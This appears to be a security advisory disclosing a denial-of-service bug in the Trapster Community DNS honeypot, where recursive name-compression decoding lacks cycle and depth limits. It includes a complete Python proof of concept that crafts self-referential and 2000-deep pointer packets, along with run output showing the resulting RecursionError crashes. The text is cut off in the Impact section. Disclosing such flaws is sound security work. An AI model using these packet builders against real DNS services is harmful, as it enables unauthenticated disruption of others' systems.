Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

Details

decode_labels implements RFC 1035 §4.1.4 name compression:

def decode_labels(message, offset):
    labels = []
    while True:
        length, = struct.unpack_from("!B", message, offset)
        if (length & 0xC0) == 0xC0:
            pointer, = struct.unpack_from("!H", message, offset)
            offset += 2
            return labels + decode_labels(message, pointer & 0x3FFF), offset   # <-- recurses per pointer
        ...

Each compression pointer triggers a fresh recursive call to decode_labels. There is:

• No cycle detection — a pointer that targets its own offset recurses forever.
• No depth bound — a chain of distinct forward pointers recurses once per pointer.

Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.

This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.

Proof of Concept

Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.

e2e_poc.py:

import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []

def build_benign_query(qname=b"example.com"):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
    return header + labels + struct.pack("!2H", 1, 1)

def build_self_pointer():
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 12)   # pointer to offset 12 == this name
    return header + name + struct.pack("!2H", 1, 1)

def build_pointer_chain(depth=2000):
    header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
    name = struct.pack("!H", 0xC000 | 18)
    qtail = struct.pack("!2H", 1, 1)
    chain = bytearray()
    for i in range(depth):
        chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
    chain += b"\x00"
    return header + name + qtail + bytes(chain)

def send_udp(payload, timeout=1.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
    s.sendto(payload, (HOST, PORT))
    try: return s.recvfrom(4096)[0]
    except socket.timeout: return None
    finally: s.close()

async def main():
    loop = asyncio.get_running_loop()
    def handler(loopobj, context):
        exc = context.get("exception")
        captured_loop_exceptions.append((repr(exc), context.get("message")))
        print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
    loop.set_exception_handler(handler)

    hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
                     logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
    await hp.start(); await asyncio.sleep(0.4)
    print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")

    print("=== NEGATIVE CONTROL: benign query example.com A ===")
    captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
    print(f"  loop exceptions after benign packet: {len(captured_loop_exceptions)}")
    assert len(captured_loop_exceptions) == 0
    print("  -> benign packet parsed cleanly, no exception\n")

    print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
    captured_loop_exceptions.clear(); pkt = build_self_pointer()
    print(f"  packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

    print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
    captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
    print(f"  packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
    send_udp(pkt); await asyncio.sleep(0.5)
    print(f"  loop exceptions captured: {len(captured_loop_exceptions)}")
    for e in captured_loop_exceptions: print(f"    {e}")
    assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
    print("  -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

    await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__":
    sys.setrecursionlimit(1000)
    asyncio.run(main())

Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:

[deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A ===
  loop exceptions after benign packet: 0
  -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) ===
  packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
  packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
  loop exceptions captured: 1
    ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
  -> RecursionError escaped datagram_received (DoS, no depth bound)

ALL ASSERTIONS PASSED

The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can c